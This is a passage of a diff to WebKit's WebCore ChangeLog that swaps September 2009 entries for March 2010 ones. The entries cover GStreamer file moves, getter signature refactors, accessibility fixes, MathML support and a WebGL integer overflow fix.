-        Make this a member function.
+        Integrate the PluginViewQt.cpp changes from r55358 into Gtk+.
 
-2009-09-14  Brady Eidson  <beidson@apple.com>
+        * plugins/gtk/PluginViewGtk.cpp:
+        (WebCore::PluginView::getValue):
 
-        Not reviewed, maybe should've been:
+2010-03-02  Oliver Hunt  <oliver@apple.com>
 
-        Cleaning up more Windows-specific fallout from the fix for:
-        <rdar://problem/7174050> and https://bugs.webkit.org/show_bug.cgi?id=29160
+        Reviewed by NOBODY (Build fix).
 
-        * platform/network/cf/ResourceHandleCFNet.cpp:
-        (WebCore::WebCoreSynchronousLoader::load): Don't allow empty CFStrings as the stored credentials,
-          as related checks all look at nullity when they really mean to be looking for emptiness. 
+        Update Qt bridge to new named getter signature
 
-2009-09-14  Anders Carlsson  <andersca@apple.com>
+        * bridge/qt/qt_runtime.cpp:
+        (JSC::Bindings::QtRuntimeMetaMethod::lengthGetter):
+        (JSC::Bindings::QtRuntimeMetaMethod::connectGetter):
+        (JSC::Bindings::QtRuntimeMetaMethod::disconnectGetter):
+        (JSC::Bindings::QtRuntimeConnectionMethod::lengthGetter):
+        * bridge/qt/qt_runtime.h:
 
-        Speculative Qt build fix.
-        
-        * platform/qt/QWebPopup.cpp:
-        (WebCore::QWebPopup::hidePopup):
+2010-03-01  Philippe Normand  <pnormand@igalia.com>
 
-2009-09-14  Dirk Pranke  <dpranke@chromium.org>
+        Reviewed by Gustavo Noronha.
 
-        Reviewed by Darin Fisher.
+        [GTK] Move gstreamer-related source files to platform/graphics/gstreamer
+        https://bugs.webkit.org/show_bug.cgi?id=35518
 
-        Fix RenderThemeChromiumWin::determineClassicState so that classic_state
-        matches the state values (and you get a single classic_state value
-        for a given {part,state} value. This change will be tested by a 
-        chromium patch that will land after this.
+        Moved GStreamer-related files to platform/graphics/gstreamer so
+        other ports could benefit from this media player implementation.
 
-        This will be tested by code landing downstream on Chromium.org; the
-        code does not execute on webkit.org.
+        * GNUmakefile.am:
+        * platform/graphics/gstreamer/DataSourceGStreamer.cpp: Renamed from WebCore/platform/graphics/gtk/DataSourceGStreamer.cpp.
+        (_do_init):
+        (webkit_data_src_base_init):
+        (webkit_data_src_class_init):
+        (webkit_data_src_reset):
+        (webkit_data_src_init):
+        (webkit_data_src_finalize):
+        (webkit_data_src_change_state):
+        (webkit_data_src_uri_get_type):
+        (webkit_data_src_uri_get_protocols):
+        (webkit_data_src_uri_get_uri):
+        (webkit_data_src_uri_set_uri):
+        (webkit_data_src_uri_handler_init):
+        * platform/graphics/gstreamer/DataSourceGStreamer.h: Renamed from WebCore/platform/graphics/gtk/DataSourceGStreamer.h.
+        * platform/graphics/gstreamer/MediaPlayerPrivateGStreamer.cpp: Renamed from WebCore/platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp.
+        (WebCore::greatestCommonDivisor):
+        (WebCore::mediaPlayerPrivateMessageCallback):
+        (WebCore::mediaPlayerPrivateSourceChangedCallback):
+        (WebCore::mediaPlayerPrivateVolumeChangedCallback):
+        (WebCore::notifyVolumeIdleCallback):
+        (WebCore::mediaPlayerPrivateMuteChangedCallback):
+        (WebCore::notifyMuteIdleCallback):
+        (WebCore::bufferingTimeoutCallback):
+        (WebCore::playbackPosition):
+        (WebCore::mediaPlayerPrivateRepaintCallback):
+        (WebCore::MediaPlayerPrivate::create):
+        (WebCore::MediaPlayerPrivate::registerMediaEngine):
+        (WebCore::doGstInit):
+        (WebCore::MediaPlayerPrivate::isAvailable):
+        (WebCore::MediaPlayerPrivate::MediaPlayerPrivate):
+        (WebCore::MediaPlayerPrivate::~MediaPlayerPrivate):
+        (WebCore::MediaPlayerPrivate::load):
+        (WebCore::MediaPlayerPrivate::changePipelineState):
+        (WebCore::MediaPlayerPrivate::play):
+        (WebCore::MediaPlayerPrivate::pause):
+        (WebCore::MediaPlayerPrivate::duration):
+        (WebCore::MediaPlayerPrivate::currentTime):
+        (WebCore::MediaPlayerPrivate::seek):
+        (WebCore::MediaPlayerPrivate::startEndPointTimerIfNeeded):
+        (WebCore::MediaPlayerPrivate::cancelSeek):
+        (WebCore::MediaPlayerPrivate::endPointTimerFired):
+        (WebCore::MediaPlayerPrivate::paused):
+        (WebCore::MediaPlayerPrivate::seeking):
+        (WebCore::MediaPlayerPrivate::naturalSize):
+        (WebCore::MediaPlayerPrivate::hasVideo):
+        (WebCore::MediaPlayerPrivate::hasAudio):
+        (WebCore::MediaPlayerPrivate::setVolume):
+        (WebCore::MediaPlayerPrivate::volumeChangedCallback):
+        (WebCore::MediaPlayerPrivate::volumeChanged):
+        (WebCore::MediaPlayerPrivate::setRate):
+        (WebCore::MediaPlayerPrivate::networkState):
+        (WebCore::MediaPlayerPrivate::readyState):
+        (WebCore::MediaPlayerPrivate::buffered):
+        (WebCore::MediaPlayerPrivate::processBufferingStats):
+        (WebCore::MediaPlayerPrivate::queryBufferingStats):
+        (WebCore::MediaPlayerPrivate::maxTimeSeekable):
+        (WebCore::MediaPlayerPrivate::maxTimeLoaded):
+        (WebCore::MediaPlayerPrivate::bytesLoaded):
+        (WebCore::MediaPlayerPrivate::totalBytes):
+        (WebCore::MediaPlayerPrivate::cancelLoad):
+        (WebCore::MediaPlayerPrivate::updateStates):
+        (WebCore::MediaPlayerPrivate::mediaLocationChanged):
+        (WebCore::MediaPlayerPrivate::loadNextLocation):
+        (WebCore::MediaPlayerPrivate::loadStateChanged):
+        (WebCore::MediaPlayerPrivate::sizeChanged):
+        (WebCore::MediaPlayerPrivate::timeChanged):
+        (WebCore::MediaPlayerPrivate::didEnd):
+        (WebCore::MediaPlayerPrivate::durationChanged):
+        (WebCore::MediaPlayerPrivate::supportsMuting):
+        (WebCore::MediaPlayerPrivate::setMuted):
+        (WebCore::MediaPlayerPrivate::muteChangedCallback):
+        (WebCore::MediaPlayerPrivate::muteChanged):
+        (WebCore::MediaPlayerPrivate::loadingFailed):
+        (WebCore::MediaPlayerPrivate::setSize):
+        (WebCore::MediaPlayerPrivate::setVisible):
+        (WebCore::MediaPlayerPrivate::repaint):
+        (WebCore::MediaPlayerPrivate::paint):
+        (WebCore::mimeTypeCache):
+        (WebCore::MediaPlayerPrivate::getSupportedTypes):
+        (WebCore::MediaPlayerPrivate::supportsType):
+        (WebCore::MediaPlayerPrivate::hasSingleSecurityOrigin):
+        (WebCore::MediaPlayerPrivate::supportsFullscreen):
+        (WebCore::MediaPlayerPrivate::setAutobuffer):
+        (WebCore::MediaPlayerPrivate::createGSTPlayBin):
+        * platform/graphics/gstreamer/MediaPlayerPrivateGStreamer.h: Renamed from WebCore/platform/graphics/gtk/MediaPlayerPrivateGStreamer.h.
+        (WebCore::MediaPlayerPrivate::pipelineReset):
+        * platform/graphics/gstreamer/VideoSinkGStreamer.cpp: Renamed from WebCore/platform/graphics/gtk/VideoSinkGStreamer.cpp.
+        (webkit_video_sink_base_init):
+        (webkit_video_sink_init):
+        (webkit_video_sink_timeout_func):
+        (webkit_video_sink_render):
+        (webkit_video_sink_dispose):
+        (unlock_buffer_mutex):
+        (webkit_video_sink_unlock):
+        (webkit_video_sink_unlock_stop):
+        (webkit_video_sink_stop):
+        (webkit_video_sink_start):
+        (marshal_VOID__MINIOBJECT):
+        (webkit_video_sink_class_init):
+        (webkit_video_sink_new):
+        * platform/graphics/gstreamer/VideoSinkGStreamer.h: Renamed from WebCore/platform/graphics/gtk/VideoSinkGStreamer.h.
+        * platform/graphics/gstreamer/WebKitWebSourceGStreamer.cpp: Renamed from WebCore/platform/graphics/gtk/WebKitWebSourceGStreamer.cpp.
+        (doInit):
+        (webkit_web_src_base_init):
+        (webkit_web_src_class_init):
+        (webkit_web_src_init):
+        (webKitWebSrcFinalize):
+        (webKitWebSrcSetProperty):
+        (webKitWebSrcGetProperty):
+        (webKitWebSrcStop):
+        (webKitWebSrcStart):
+        (webKitWebSrcChangeState):
+        (webKitWebSrcUriGetType):
+        (webKitWebSrcGetProtocols):
+        (webKitWebSrcGetUri):
+        (webKitWebSrcSetUri):
+        (webKitWebSrcUriHandlerInit):
+        (webKitWebSrcNeedDataMainCb):
+        (webKitWebSrcNeedDataCb):
+        (webKitWebSrcEnoughDataMainCb):
+        (webKitWebSrcEnoughDataCb):
+        (webKitWebSrcSeekMainCb):
+        (webKitWebSrcSeekDataCb):
+        (webKitWebSrcSetFrame):
+        (StreamingClient::StreamingClient):
+        (StreamingClient::~StreamingClient):
+        (StreamingClient::willSendRequest):
+        (StreamingClient::didReceiveResponse):
+        (StreamingClient::didReceiveData):
+        (StreamingClient::didFinishLoading):
+        (StreamingClient::didFail):
+        (StreamingClient::wasBlocked):
+        (StreamingClient::cannotShowURL):
+        * platform/graphics/gstreamer/WebKitWebSourceGStreamer.h: Renamed from WebCore/platform/graphics/gtk/WebKitWebSourceGStreamer.h.
+
+2010-03-01  Oliver Hunt  <oliver@apple.com>
 
-        * rendering/RenderThemeChromiumWin.cpp:
-        (WebCore::RenderThemeChromiumWin::determineClassicState):
-        (WebCore::RenderThemeChromiumWin::getThemeData):
+        Reviewed by Maciej Stachowiak.
 
-2009-09-14  Anders Carlsson  <andersca@apple.com>
+        Refactor named getter function signature to be in line with indexing getter signature
+        https://bugs.webkit.org/show_bug.cgi?id=35563
 
-        Reviewed by Adam Roben.
+        Fix up WebCore to use the new named getter function signature, update the
+        codegenerator to the new calling convention, and fix the custom bindings.
 
-        https://bugs.webkit.org/show_bug.cgi?id=29138
-        Simplify popup menu handling.
+        * bindings/js/JSCSSStyleDeclarationCustom.cpp:
+        (WebCore::JSCSSStyleDeclaration::nameGetter):
+        * bindings/js/JSDOMBinding.cpp:
+        (WebCore::objectToStringFunctionGetter):
+        * bindings/js/JSDOMBinding.h:
+        * bindings/js/JSDOMWindowCustom.cpp:
+        (WebCore::nonCachingStaticFunctionGetter):
+        (WebCore::childFrameGetter):
+        (WebCore::namedItemGetter):
+        * bindings/js/JSDataGridColumnListCustom.cpp:
+        (WebCore::JSDataGridColumnList::nameGetter):
+        * bindings/js/JSHTMLAllCollectionCustom.cpp:
+        (WebCore::JSHTMLAllCollection::nameGetter):
+        * bindings/js/JSHTMLCollectionCustom.cpp:
+        (WebCore::JSHTMLCollection::nameGetter):
+        * bindings/js/JSHTMLDocumentCustom.cpp:
+        (WebCore::JSHTMLDocument::nameGetter):
+        * bindings/js/JSHTMLFormElementCustom.cpp:
+        (WebCore::JSHTMLFormElement::nameGetter):
+        * bindings/js/JSHTMLFrameSetElementCustom.cpp:
+        (WebCore::JSHTMLFrameSetElement::nameGetter):
+        * bindings/js/JSHistoryCustom.cpp:
+        (WebCore::nonCachingStaticBackFunctionGetter):
+        (WebCore::nonCachingStaticForwardFunctionGetter):
+        (WebCore::nonCachingStaticGoFunctionGetter):
+        * bindings/js/JSLocationCustom.cpp:
+        (WebCore::nonCachingStaticReplaceFunctionGetter):
+        (WebCore::nonCachingStaticReloadFunctionGetter):
+        (WebCore::nonCachingStaticAssignFunctionGetter):
+        * bindings/js/JSMimeTypeArrayCustom.cpp:
+        (WebCore::JSMimeTypeArray::nameGetter):
+        * bindings/js/JSNamedNodeMapCustom.cpp:
+        (WebCore::JSNamedNodeMap::nameGetter):
+        * bindings/js/JSNodeListCustom.cpp:
+        (WebCore::JSNodeList::nameGetter):
+        * bindings/js/JSPluginArrayCustom.cpp:
+        (WebCore::JSPluginArray::nameGetter):
+        * bindings/js/JSPluginCustom.cpp:
+        (WebCore::JSPlugin::nameGetter):
+        * bindings/js/JSPluginElementFunctions.cpp:
+        (WebCore::runtimeObjectPropertyGetter):
+        * bindings/js/JSPluginElementFunctions.h:
+        * bindings/js/JSStorageCustom.cpp:
+        (WebCore::JSStorage::nameGetter):
+        * bindings/js/JSStyleSheetListCustom.cpp:
+        (WebCore::JSStyleSheetList::nameGetter):
+        * bindings/scripts/CodeGeneratorJS.pm:
+        * bridge/runtime_array.cpp:
+        (JSC::RuntimeArray::lengthGetter):
+        * bridge/runtime_array.h:
+        * bridge/runtime_method.cpp:
+        (JSC::RuntimeMethod::lengthGetter):
+        * bridge/runtime_method.h:
+        * bridge/runtime_object.cpp:
+        (JSC::Bindings::RuntimeObject::fallbackObjectGetter):
+        (JSC::Bindings::RuntimeObject::fieldGetter):
+        (JSC::Bindings::RuntimeObject::methodGetter):
+        * bridge/runtime_object.h:
 
-        * platform/PopupMenuClient.h:
-        Rename hidePopup to popupDidHide.
-        
-        * platform/chromium/PopupMenuChromium.cpp:
-        (WebCore::PopupListBox::handleKeyEvent):        
-        (WebCore::PopupListBox::abandon):
-        (WebCore::PopupListBox::acceptIndex):
-        Call popupDidHide instead of hidePopup.
-        
-        * platform/gtk/PopupMenuGtk.cpp:
-        (WebCore::PopupMenu::menuUnmapped):
-        Ditto.
-        
-        * platform/mac/PopupMenuMac.mm:
-        (WebCore::PopupMenu::show):
-        Ditto.
-        
-        * platform/win/PopupMenuWin.cpp:
-        (WebCore::PopupMenu::hide):
-        Call popupDidHide.
-        
-        (WebCore::PopupWndProc):
-        Call PopupMenu::hide.
-        
-        * platform/wx/PopupMenuWx.cpp:
-        (WebCore::PopupMenu::OnMenuItemSelected):
-        Call popupDidHide.
-        
-        * rendering/RenderMenuList.cpp:
-        (WebCore::RenderMenuList::hidePopup):
-        (WebCore::RenderMenuList::popupDidHide):
-        * rendering/RenderMenuList.h:
-        Set the "popup is visible" flag in popupDidHide.
-        
-        * rendering/RenderTextControlSingleLine.cpp:
-        (WebCore::RenderTextControlSingleLine::hidePopup):
-        (WebCore::RenderTextControlSingleLine::popupDidHide):
-        * rendering/RenderTextControlSingleLine.h:
-        Ditto.
+2010-03-01  Oliver Hunt  <oliver@apple.com>
 
-2009-09-14  Anders Carlsson  <andersca@apple.com>
+        Reviewed by Gavin Barraclough.
 
-        Reviewed by David Hyatt.
+        PropertySlot::getValue(ExecState, unsigned) unnecessarily converts index to an Identifier
+        https://bugs.webkit.org/show_bug.cgi?id=35561
 
-        - Fix <rdar://problem/7182275>.
+        Update bindings generation and the few manual indexing getters we have to use
+        the new PropertySlot API.
 
-        Make sure that the newly created scrollbar's style is up to date.
-        
-        * platform/win/PopupMenuWin.cpp:
-        (WebCore::PopupMenu::~PopupMenu):
-        Call setParent so that the scrollbar's parts are torn down correctly.
-        
-        (WebCore::PopupMenu::show):
-        Call styleChanged.
+        * bindings/js/JSDOMWindowCustom.cpp:
+        (WebCore::indexGetter):
+        * bindings/scripts/CodeGeneratorJS.pm:
+        * bridge/runtime_array.cpp:
+        (JSC::RuntimeArray::indexGetter):
+        * bridge/runtime_array.h:
 
-2009-09-11  Jon Honeycutt  <jhoneycutt@apple.com>
+2010-03-01  Chris Fleizach  <cfleizach@apple.com>
 
-        <rdar://problem/7197644> WebKit should broadcast an MSAA event when
-        jumping to a named anchor
+        Reviewed by Darin Adler.
 
-        https://bugs.webkit.org/show_bug.cgi?id=28899
+        AX: changes to WAI-ARIA grid aren't perceived correctly by VoiceOver
+        https://bugs.webkit.org/show_bug.cgi?id=35514
 
-        Reviewed by Adam Roben.
+        When a table's DOM is changed and an AX Table is not asked first for its children,
+        it would return wrong information. A table needs to make sure children are up to date in
+        all methods that can be called from the outside.
 
-        * accessibility/AXObjectCache.h:
-        (WebCore::AXObjectCache::):
-        Added declaration for handleScrolledToAnchor(). Added a new entry to
-        the enum of accessibility notifications.
+        Test: platform/mac/accessibility/stale-table-rows.html
 
+        * accessibility/AccessibilityARIAGrid.cpp:
+        (WebCore::AccessibilityARIAGrid::cellForColumnAndRow):
         * accessibility/AccessibilityObject.cpp:
-        (WebCore::AccessibilityObject::firstAccessibleObjectFromNode):
-        Code moved from AccessibilityRenderObject::internalLinkElement() and
-        refactored slightly; walks the tree until it finds a Node (with a
-        renderer) whose accessibility is not ignored.
-
-        * accessibility/AccessibilityObject.h:
-        Added a declaration for firstAccessibleObjectFromNode().
-
+        (WebCore::AccessibilityObject::clearChildren):
         * accessibility/AccessibilityRenderObject.cpp:
-        (WebCore::AccessibilityRenderObject::internalLinkElement):
-        Code moved to AccessibilityObject::firstAccessibleObjectFromNode().
-
-        * accessibility/chromium/AXObjectCacheChromium.cpp:
-        (WebCore::AXObjectCache::handleScrolledToAnchor):
-        Stubbed.
-
-        * accessibility/gtk/AXObjectCacheAtk.cpp:
-        (WebCore::AXObjectCache::handleScrolledToAnchor):
-        Stubbed.
-
-        * accessibility/mac/AXObjectCacheMac.mm:
-        (WebCore::AXObjectCache::postPlatformNotification):
-        Add a default case that returns early for notifications that Mac
-        doesn't handle.
-        (WebCore::AXObjectCache::handleScrolledToAnchor):
-        Stubbed.
-
-        * accessibility/win/AXObjectCacheWin.cpp:
-        (WebCore::AXObjectCache::handleScrolledToAnchor):
-        Post an AXScrolledToAnchor notification for the first accessible from
-        the anchor Node.
-        (WebCore::AXObjectCache::postPlatformNotification):
-        If the notification is AXFocusedUIElementChanged, fire an
-        EVENT_OBJECT_FOCUS. If the notification is AXScrolledToAnchor, fire
-        EVENT_SYSTEM_SCROLLINGSTART, matching Firefox.
-        (WebCore::AXObjectCache::handleFocusedUIElementChanged):
-        Code moved to postPlatformNotification().
-
-        * page/FrameView.cpp:
-        (WebCore::FrameView::scrollToAnchor):
-        Call AXObjectCache::handleScrolledToAnchor().
-
-2009-09-14  Anthony Ricaud  <rik@webkit.org>
-
-        Reviewed by Timothy Hatcher.
-
-        Cookies are not inspectable after reloading a page
-        https://bugs.webkit.org/show_bug.cgi?id=29222
-
-        Create the cookieTreeElement on initialization instead of when the view is shown.
-        Reset the selected element of the sidebar on reset.
-
-        * inspector/front-end/StoragePanel.js:
-        (WebInspector.StoragePanel):
-        (WebInspector.StoragePanel.prototype.show):
-        (WebInspector.StoragePanel.prototype.reset):
-
-
-2009-09-14  Brady Eidson  <beidson@apple.com>
-
-        Windows build fix.
-
-        * platform/network/cf/ResourceHandleCFNet.cpp:
-        (WebCore::ResourceHandle::didReceiveAuthenticationChallenge):
-        (WebCore::ResourceHandle::receivedCredential):
-        (WebCore::WebCoreSynchronousLoader::didReceiveChallenge):
-        (WebCore::WebCoreSynchronousLoader::load):
-
-2009-09-14  Brady Eidson  <beidson@apple.com>
-
-        Reviewed by Alexey Proskuryakov.
-
-        Safari 4 cannot be used to update firmware on Linksys routers.
-        <rdar://problem/7174050> and https://bugs.webkit.org/show_bug.cgi?id=29160
-
-        In http://trac.webkit.org/changeset/42483, we disabled CFNetwork's session credential storage and 
-        implemented our own in WebCore.
-
-        One feature we lost is that CFNetwork would automatically send previously authenticated credentials
-        with new connections when the paths match, as allowed by RFC 2617 for HTTP Basic and Digest Authentication.  
+        (WebCore::AccessibilityRenderObject::clearChildren):
+        (WebCore::AccessibilityRenderObject::updateChildrenIfNecessary):
+        (WebCore::AccessibilityRenderObject::children):
+        * accessibility/AccessibilityRenderObject.h:
+        (WebCore::AccessibilityRenderObject::needsToUpdateChildren):
+        (WebCore::AccessibilityRenderObject::setNeedsToUpdateChildren):
+        * accessibility/AccessibilityTable.cpp:
+        (WebCore::AccessibilityTable::clearChildren):
+        (WebCore::AccessibilityTable::columns):
+        (WebCore::AccessibilityTable::rows):
+        (WebCore::AccessibilityTable::rowHeaders):
+        (WebCore::AccessibilityTable::columnHeaders):
+        (WebCore::AccessibilityTable::cells):
+        (WebCore::AccessibilityTable::columnCount):
+        (WebCore::AccessibilityTable::rowCount):
+        (WebCore::AccessibilityTable::cellForColumnAndRow):
 
-        Even though it's optional for User Agents to do this, (some?) Linksys routers rely on this behavior for
-        HTTP Basic Authentication.  So now WebCore's CredentialStorage will track URL paths for Basic credentials.
+2010-03-01  Jakob Petsovits  <jpetsovits@rim.com>
 
-        We're not making this enhancement for Digest at this time, since we don't know of anything that broke
-        due to the change in Digest behavior.
+        Reviewed by Adam Barth.
 
-        Test: http/tests/loading/basic-credentials-sent-automatically.html
-              http/tests/loading/basic-auth-resend-wrong-credentials.html
+        Convert the zoom mode (page vs. text-only) into a proper enum.
+        https://bugs.webkit.org/show_bug.cgi?id=35347
 
-        * WebCore.base.exp:
+        * GNUmakefile.am:
+        * WebCore.base.exp: Substituted symbols __ZN7WebCore5Frame13setZoomFactorEfNS_8ZoomModeE
+        and __ZN7WebCore8Settings11setZoomModeENS_8ZoomModeE for __ZN7WebCore5Frame13setZoomFactorEfb
+        and __ZN7WebCore8Settings16setZoomsTextOnlyEb, respectively.
+        * WebCore.gypi:
+        * WebCore.pro:
         * WebCore.vcproj/WebCore.vcproj:
         * WebCore.xcodeproj/project.pbxproj:
+        * page/Frame.cpp:
+        (WebCore::Frame::zoomMode):
+        (WebCore::Frame::shouldApplyTextZoom):
+        (WebCore::Frame::shouldApplyPageZoom):
+        (WebCore::Frame::setZoomFactor):
+        * page/Frame.h:
+        * page/Settings.cpp:
+        (WebCore::Settings::Settings):
+        (WebCore::Settings::setZoomMode):
+        * page/Settings.h:
+        (WebCore::Settings::zoomMode):
+        * page/ZoomMode.h: Added.
+        (WebCore::):
+        * svg/SVGSVGElement.cpp:
+        (WebCore::SVGSVGElement::setCurrentScale):
 
-        * platform/network/Credential.cpp:
-        (WebCore::Credential::isEmpty):
-        * platform/network/Credential.h:
-
-        Add a slightly more full featured CredentialStore that will track URL paths a credential belongs to:
-        * platform/network/CredentialStorage.cpp: Added.
-        (WebCore::protectionSpaceToCredentialMap):
-        (WebCore::originToDefaultCredentialMap):
-        (WebCore::originStringFromURL):
-        (WebCore::CredentialStorage::set):
-        (WebCore::CredentialStorage::get):
-        (WebCore::CredentialStorage::getDefaultAuthenticationCredential):
-        * platform/network/CredentialStorage.h: Added.
-
-        Allow ProtectionSpace to be a hash key:
-        * platform/network/ProtectionSpace.cpp:
-        (WebCore::ProtectionSpace::ProtectionSpace):
-        * platform/network/ProtectionSpace.h:
-        (WebCore::ProtectionSpace::ProtectionSpace):
-        (WebCore::ProtectionSpace::isHashTableDeletedValue):
-        * platform/network/ProtectionSpaceHash.h: Added.
-        (WebCore::ProtectionSpaceHash::hash):
-        (WebCore::ProtectionSpaceHash::equal):
-
-        Allow ResourceHandles to remember the initial credential they used:
-        * platform/network/ResourceHandleInternal.h:
-
-        Allow mutable ResourceRequests to update their platform object if HTTP header fields change:
-        * platform/network/ResourceRequestBase.cpp:
-        (WebCore::ResourceRequestBase::addHTTPHeaderField):
+2010-03-01  Alex Milowski  <alex@milowski.com>
 
-        Remove WebCoreCredentialStorage:
-        * platform/network/cf/AuthenticationCF.cpp:
-        * platform/network/cf/AuthenticationCF.h:
-        * platform/network/mac/AuthenticationMac.h:
-        * platform/network/mac/AuthenticationMac.mm:
+        Reviewed by Kenneth Rohde Christiansen.
 
-        Change ResourceHandleCFNet to try to use stored credentials on new connections, if appropriate:
-        * platform/network/cf/ResourceHandleCFNet.cpp:
-        (WebCore::ResourceHandle::start):
-        (WebCore::ResourceHandle::didReceiveAuthenticationChallenge): Only try the ProtectionSpace key'ed
-          Credential if it does not match the initially used Credential.
-        (WebCore::ResourceHandle::receivedCredential):
-        (WebCore::WebCoreSynchronousLoader::didReceiveChallenge): Only try the ProtectionSpace key'ed
-          Credential if it does not match the initially used Credential.
-        (WebCore::WebCoreSynchronousLoader::load):
-
-        Change ResourceHandleMac to try to use stored credentials on new connections, if appropriate:
-        * platform/network/mac/ResourceHandleMac.mm:
-        (WebCore::ResourceHandle::start):
-        (WebCore::ResourceHandle::didReceiveAuthenticationChallenge): Only try the ProtectionSpace key'ed
-          Credential if it does not match the initially used Credential.
-        (WebCore::ResourceHandle::receivedCredential):
-        (-[WebCoreSynchronousLoader connection:didReceiveAuthenticationChallenge:]): Only try the 
-          ProtectionSpace key'ed Credential if it does not match the initially used Credential.
-        (+[WebCoreSynchronousLoader loadRequest:allowStoredCredentials:returningResponse:error:]):
-
-        Add base64-ability to CString:
-        * platform/text/CString.cpp:
-        (WebCore::CStringBuffer::base64Encode):
-        (WebCore::CString::base64Encode):
-        * platform/text/CString.h:
-        (WebCore::CStringBuffer::create):
-        (WebCore::CStringBuffer::CStringBuffer):
+        Added support for the msubsup element that also handles the msup and msub elements.
 
-2009-09-12  Mark Rowe  <mrowe@apple.com>
+        Test: mathml/presentation/subsup.xhtml
 
-        Reviewed by Dan Bernstein.
+        * WebCore.xcodeproj/project.pbxproj:
+        * mathml/MathMLInlineContainerElement.cpp:
+        (WebCore::MathMLInlineContainerElement::createRenderer):
+        * mathml/RenderMathMLSubSup.cpp: Added.
+        (WebCore::RenderMathMLSubSup::RenderMathMLSubSup):
+        (WebCore::RenderMathMLSubSup::addChild):
+        (WebCore::RenderMathMLSubSup::stretchToHeight):
+        (WebCore::RenderMathMLSubSup::nonOperatorHeight):
+        (WebCore::RenderMathMLSubSup::layout):
+        (WebCore::RenderMathMLSubSup::baselinePosition):
+        * mathml/RenderMathMLSubSup.h: Added.
+        (WebCore::RenderMathMLSubSup::hasBase):
+        (WebCore::RenderMathMLSubSup::):
+
+2010-03-01  Pavel Feldman  <pfeldman@chromium.org>
 
-        Fix <rdar://problem/6954546> Crashes in WebCore::RenderPart::setWidget below FrameLoader::loadPlugin.
+        Reviewed by Timothy Hatcher.
 
-        The calls to FrameLoader::requestObject within RenderPartObject::updateWidget can result in a plug-in
-        being initialized.  This can run cause arbitrary JavaScript to run and may result in the RenderPartObject
-        being detached from the render tree and destroyed, causing a crash like <rdar://problem/6954546>.
+        Web Inspector: use dejavu sans mono 11px on linux.
 
-        No test is possible until <rdar://problem/7090444> is fixed.
+        https://bugs.webkit.org/show_bug.cgi?id=35527
 
-        * rendering/RenderPartObject.cpp:
-        (WebCore::RenderPartObject::updateWidget): Ensure that we stay alive for the duration of plug-in initialization.
+        * inspector/front-end/inspector.css:
 
-2009-09-12  Mark Rowe  <mrowe@apple.com>
+2010-03-01  Thatcher Ulrich  <tulrich@google.com>
 
-        Reviewed by Dan Bernstein.
+        Reviewed by Darin Fisher.
 
-        Add RenderWidgetProtector to simplify protecting a RenderWidget from destruction for the
-        duration of a function.  Deploy it within RenderWidget.
+        Fix chromium iframe shims.  Add another test case to the
+        iframes-shims test.  After r53637, the plugin widget doesn't get
+        moved every paint.  This used to hide the bug that if an iframe
+        gets added, the plugin's cutout rectangles don't get updated until
+        a layout happens.
+        https://bugs.webkit.org/show_bug.cgi?id=35184
 
+        * platform/Widget.h:
+        (WebCore::Widget::widgetPositionsUpdated): new virtual method
+            widgetPositionsUpdated() to notify widgets when other widgets on
+            the page have been repositioned.
+        * rendering/RenderView.cpp:
+        (WebCore::RenderView::updateWidgetPositions): call widgetPositionsUpdated() on the widgets
         * rendering/RenderWidget.cpp:
-        (WebCore::RenderWidget::setWidgetGeometry):
-        (WebCore::RenderWidget::updateWidgetPosition): Use a RefPtr rather than explicitly
-        ref'ing and deref'ing the node.
+        (WebCore::RenderWidget::widgetPositionsUpdated): call widgetPositionsUpdated() on the widget
         * rendering/RenderWidget.h:
-        * rendering/RenderWidgetProtector.h:
-        (WebCore::RenderWidgetProtector::RenderWidgetProtector):
-        (WebCore::RenderWidgetProtector::~RenderWidgetProtector):
-
-2009-09-14  Cameron McCormack  <cam@mcc.id.au>
-
-        Reviewed by Eric Seidel.
 
-        CodeGenerator.pm needs some cleaning up
-        https://bugs.webkit.org/show_bug.cgi?id=29238
+2010-03-01  Fridrich Strba  <fridrich.strba@bluewin.ch>
 
-        * bindings/scripts/CodeGenerator.pm:
-        (FindParentsRecursively): Removed; its functionality is now handled in
-        AddMethodsConstantsAndAttributesFromParentClasses.
-        (ForAllParents): New function that visits an interface's ancestors and
-        invokes a callback for each one.
-        (AddMethodsConstantsAndAttributesFromParentClasses): Simplified by using
-        ForAllParents.
-        (GetMethodsAndAttributesFromParentClasses): Ditto.
-        (IDLFileForInterface): Factored out previous calls to ScanDirectory into
-        this new function, which returns the filename containing a given IDL
-        interface definition.
-        (ParseInterface): Simplified by using IDLFileForInterface.
-        (ScanDirectory): Removed in lieu of IDLFileForInterface.
-        * bindings/scripts/CodeGeneratorV8.pm: Drop call to
-        FindParentsRecursively and get the list of parents from the
-        AddMethodsConstantsAndAttributesFromParentClasses call instead.
-
-2009-09-14  Yael Aharon  <yael.aharon@nokia.com>
-
-        Reviewed by Tor Arne Vestbø.
-
-        [Qt] Assert hit when dropping a file in QtLauncher
-        https://bugs.webkit.org/show_bug.cgi?id=29242
-
-        Qt's implementation of DropData::asURL does not return a URL encoded string
-        as expected.
-
-        * platform/qt/DragDataQt.cpp:
-        (WebCore::DragData::asURL):
-
-2009-09-13  Kevin Ollivier  <kevino@theolliviers.com>
+        Reviewed by Holger Freyther.
 
-        wx build fix, file was missed during TLS.cpp removal.
+        Dist some mathml related files
 
-        * page/wx/FrameWx.cpp: Added.
-        (WebCore::Frame::dragImageForSelection):
+        * GNUmakefile.am:
 
-2009-09-13  Anthony Ricaud  <rik@webkit.org>
+2010-03-01  Kenneth Russell  <kbr@google.com>
 
         Reviewed by Oliver Hunt.
 
-        Web Inspector: Add "New Style Rule" to the localizedStrings
-        https://bugs.webkit.org/show_bug.cgi?id=29237
+        Integer overflow in WebGL arrays
+        https://bugs.webkit.org/show_bug.cgi?id=35241
 
-        * English.lproj/localizedStrings.js:
+        Test: fast/canvas/webgl/webgl-array-invalid-ranges.html
 
-2009-09-13  Kevin Watters  <kevinwatters@gmail.com>
+        * bindings/js/JSWebGLArrayBufferConstructor.cpp:
+        (WebCore::constructCanvasArrayBuffer):
+        * bindings/js/JSWebGLArrayBufferConstructor.h:
+        (WebCore::construct):
+        * bindings/js/JSWebGLArrayHelper.h:
+        (WebCore::setWebGLArrayFromArray):
+        * bindings/js/JSWebGLByteArrayConstructor.cpp:
+        (WebCore::constructCanvasByteArray):
+        * bindings/js/JSWebGLFloatArrayConstructor.cpp:
+        (WebCore::constructCanvasFloatArray):
+        * bindings/js/JSWebGLIntArrayConstructor.cpp:
